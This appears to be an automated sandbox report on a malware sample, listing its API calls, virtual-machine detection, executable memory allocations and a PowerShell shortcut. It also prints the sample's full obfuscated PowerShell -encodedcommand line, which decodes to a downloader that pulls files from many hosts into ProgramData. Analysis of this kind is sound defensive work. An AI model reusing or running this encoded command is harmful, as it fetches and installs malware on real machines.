CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c99d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c99d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c99d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c99d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 24, 2023, 5:03 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 133 events)

Time & API	Arguments	Status
NtProtectVirtualMemory May 24, 2023, 4:57 p.m.	process_identifier: 2868 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73bc2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02910000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a01000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a02000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0231a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0232b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02327000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02312000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02325000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0231c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0232c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02313000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02314000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02315000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02316000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02317000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02318000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02319000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05130000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05131000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05132000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05133000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05134000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05135000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05136000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05137000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05138000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05139000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0513a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0513b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0513c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0513d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0513e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0513f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05140000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05141000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05142000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 24, 2023, 5:03 p.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05143000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABlAGsAcgBvAG4AaQB0AGUATgBvAG4AcgBlAHQAaQByAGkAbgBnACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAxAEEARwA0AEEAYwBBAEIAcwBBAEcAawBBAFoAdwBCAG8AQQBIAFEAQQBaAFEAQgBrAEEARQBVAEEAYwBRAEIAMQBBAEcAawBBAGMAdwBCAGwAQQBIAFEAQQBZAFEAQgBqAEEARwBVAEEAWQBRAEIAbABBAEMANABBAFkAZwBCAGwAQQBBAD0APQByAHoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBnAEEAegBBAEMANABBAE0AUQBBADMAQQBEAEkAQQBMAGcAQQA0AEEARABJAEEATABnAEEANQBBAEQAVQBBAHIAegBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQA1AEEAQwA0AEEATwBRAEEAegBBAEMANABBAE0AZwBBAHcAQQBEAGMAQQBMAGcAQQB4AEEARABFAEEATgBnAEEAPQByAHoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAYgB3AEIAMgBBAEcAawBBAFoAUQBCADAAQQBHAGsAQQBZAHcAQQB1AEEARwBJAEEAYwBnAEIAMQBBAEgATQBBAGMAdwBCAGwAQQBHAHcAQQBjAHcAQQA9ACIAOwAkAEIAZQB0AHUAbABhACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBGAEEARwA0AEEAYQBBAEIANQBBAEcAUQBBAGMAZwBCAHYAQQBIAFUAQQBjAHcAQQB1AEEARwBNAEEAWQBRAEIAbQBBAEcAVQBBAFcARABDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEgASQBBAGIAdwBCAHAAQQBIAE0AQQBZAFEAQgBrAEEAQwA0AEEAZQBRAEIAdgBBAEcAYwBBAFkAUQBBAD0AVwBEAEMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAWgBRAEIAdgBBAEcASQBBAGIAdwBCADAAQQBHAEUAQQBiAGcAQgBwAEEARwBNAEEAWQBRAEIAcwBBAEYAQQBBAFkAUQBCAHMAQQBHAEUAQQBaAFEAQgB6AEEASABRAEEAYwBnAEIAcABBAEcARQBBAGIAZwBBAHUAQQBIAE0AQQBkAEEAQgAxAEEARwBRAEEAYQBRAEIAdgBBAEEAPQA9ACIAOwAkAGkAbQBtAGEAbgB0AGwAaQBuAGcAUwBjAHIAaQBiAGEAYgBsAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBNAEEAQQB1AEEARABJAEEATQBnAEEAeQBBAEMANABBAE4AUQBBADIAQQBDADQAQQBOAGcAQQAzAEEAQQA9AD0AdABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGkAQQBHAEUAQQBkAEEAQgB0AEEARwBFAEEAYgBnAEEAdQBBAEcAVQBBAFoAQQBCADEAQQBHAE0AQQBZAFEAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEEAPQA9AHQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBVAEEAYwBRAEIAMQBBAEcARQBBAGQAQQBCAHYAQQBIAEkAQQBkAHcAQgBoAEEASABJAEEAWgBBAEIAVABBAEgAawBBAGMAZwBCAHQAQQBHAEUAQQBaAFEAQgBoAEEAQwA0AEEAYwB3AEIAMQBBAEgAQQBBAGMAQQBCAHMAQQBHAGsAQQBaAFEAQgB6AEEAQQA9AD0AdABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBOAEEAQQAyAEEAQwA0AEEATgBRAEEAegBBAEMANABBAE0AZwBBADAAQQBEAE0AQQBMAGcAQQB5AEEARABNAEEATQBRAEEAPQAiADsAJABTAGUAbQBpAHMAZQBjAHIAZQBjAHkAUwBsAGkAcABmAG8AcgBtAGkAbgBnACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBRAEEANABBAEMANABBAE0AUQBBAHkAQQBEAFEAQQBMAGcAQQAwAEEARABNAEEATABnAEEAeABBAEQASQBBAE4AUQBBAD0AYgBaAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABjAEEAYgB3AEIAaABBAEcAUQBBAGQAdwBCAGgAQQBIAGcAQQBaAFEAQgB6AEEARQBNAEEAYQBBAEIAaABBAEcANABBAGMAdwBCAHYAQQBHADQAQQBjAHcAQQB1AEEARwBjAEEAYQBRAEIAbQBBAEgAUQBBAGMAdwBBAD0AYgBaAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgBnAEEAdQBBAEQARQBBAE0AUQBBAHoAQQBDADQAQQBNAGcAQQB4AEEARABnAEEATABnAEEAeABBAEQAUQBBAE4AdwBBAD0AYgBaAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBFAEEAYgBRAEIAaABBAEgASQBBAFoAdwBCAHYAQQBIAE0AQQBZAFEAQgBSAEEASABVAEEAYQBRAEIAaQBBAEgAVQBBAGMAdwBBAHUAQQBHAE0AQQBiAGcAQQA9ACIAOwAkAGYAcgBpAGcAaAB0AGYAdQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBRAEEAdQBBAEQARQBBAE8AQQBBAHoAQQBDADQAQQBNAFEAQQB4AEEARABrAEEATABnAEEAMQBBAEQATQBBAEwAdwBCAHMAQQBHAGcAQQBSAFEAQQB2AEEARABjAEEAVQBRAEEAMgBBAEgAawBBAFMAdwBBAD0AawBXAHUAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADUAQQBEAEEAQQBMAGcAQQB5AEEARABRAEEATgBnAEEAdQBBAEQAZwBBAE4AZwBBAHUAQQBEAEUAQQBOAEEAQQA0AEEAQwA4AEEAYgB3AEEAdgBBAEQATQBBAGsAVwB1AHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATwBRAEEAeQBBAEMAOABBAFMAZwBCAFUAQQBHAGsAQQBMAHcAQgBDAEEARwBZAEEAYwB3AEEANABBAEcAYwBBAE0AQQBCADIAQQBFADAAQQBlAGcAQgBSAEEASABrAEEAawBXAHUAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAFEAQQB1AEEARABJAEEATQB3AEEAMgBBAEMANABBAE0AUQBBADAAQQBDADQAQQBNAFEAQQAzAEEARABrAEEATAB3AEIARQBBAEcAVQBBAGEAdwBCAFAAQQBGAEEAQQBaAHcAQQB2AEEARABjAEEAZQBRAEIAQgBBAEYAUQBBAFYAZwBBAD0AawBXAHUAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAGcAQQA0AEEAQwA4AEEATwBRAEIARABBAEcAMABBAE8AUQBCAEYAQQBGAGMAQQBMAHcAQQA1AEEARQA0AEEAYgBRAEIATwBBAEgAbwBBAFIAUQBBAD0AIgA7AGYAbwByAGUAYQBjAGgAIAAoACQAVABhAHcAZABlAHIAZQBkAFAAcgBvAHIAcwBhAGQAIABpAG4AIAAkAGYAcgBpAGcAaAB0AGYAdQBsACAALQBzAHAAbABpAHQAIAAiAGsAVwB1AHgAIgApACAAewAkAFIAZQBjAGUAcAB0AG8AcgBzAEEAbgBvAG0AcABoAGEAbABvAHUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE4AQQBBAHcAQQBDADQAQQBNAFEAQQB5AEEARABFAEEATABnAEEAeQBBAEQAUQBBAE0AUQBBAHUAQQBEAEUAQQBOAGcAQQAyAEEAQQA9AD0AUwBlAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdQBBAEcAVQBBAGQAUQBCAHkAQQBHADgAQQBhAFEAQgBrAEEAQwA0AEEAYwBBAEIAaABBAEgASQBBAGQAQQBCADUAQQBBAD0APQBTAGUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBJAEEAWgBRAEIAMgBBAEcARQBBAFkAdwBCAGoAQQBHAGsAQQBiAGcAQgBoAEEASABRAEEAWgBRAEIATgBBAEcAawBBAGMAdwBCAHIAQQBHAGsAQQBiAGcAQQB1AEEARwBNAEEAWQBRAEIAMABBAEcAVQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQA9AFMAZQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAFEAQQBkAFEAQgB0AEEARwBJAEEAYgBBAEIAbABBAEcASQBBAGQAUQBCAG4AQQBFAE0AQQBkAFEAQgB6AEEASABBAEEAWQBRAEIAMABBAEcAVQBBAEwAZwBCAHMAQQBHAGsAQQBiAFEAQgBwAEEASABRAEEAWgBRAEIAawBBAEEAPQA9ACIAOwB0AHIAeQAgAHsAJAB2AGkAbwBsAG8AbgBjAGUAbABsAGkAcwB0AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGcAQQBZAFEAQgA1AEEARwB3AEEAYgB3AEIAbQBBAEgAUQBBAGMAdwBBAHUAQQBHADQAQQBaAFEAQgAzAEEASABNAEEAIgA7ACQAYQBsAGwAbwB0AGUAbABsAHUAcgBpAGMAUwBhAGwAaQBhAG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVABhAHcAZABlAHIAZQBkAFAAcgBvAHIAcwBhAGQAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABhAGwAbABvAHQAZQBsAGwAdQByAGkAYwBTAGEAbABpAGEAbgAgAC0ATwAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABXAGEAeQBsAGEAbgBkAC4AZwBsAG8AcwBzAG0AZQB0AGUAcgA7ACQAVAByAGkAYwBrAHMAaQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB2AEEARwBRAEEAYgB3AEIAdQBBAEgAUQBBAGIAdwBCAHkAQQBIAFEAQQBhAEEAQgB2AEEASABNAEEAYQBRAEIAegBBAEUASQBBAGMAZwBCAGgAQQBHAFEAQQBlAFEAQgBzAEEARwBFAEEAYgBBAEIAcABBAEcARQBBAEwAZwBCAG8AQQBIAFEAQQBRAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABVAEEATgBBAEEAdQBBAEQAawBBAE0AQQBBAHUAQQBEAEkAQQBOAFEAQQB3AEEAQwA0AEEATQBRAEEAMwBBAEQARQBBACIAOwAkAEMAaQBjAG8AcgBlAGUAQwBoAG8AbgBkAHIAaQBvAHMAcABoAGUAcgBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABFAEEATQB3AEEAdQBBAEQASQBBAE0AQQBBADIAQQBDA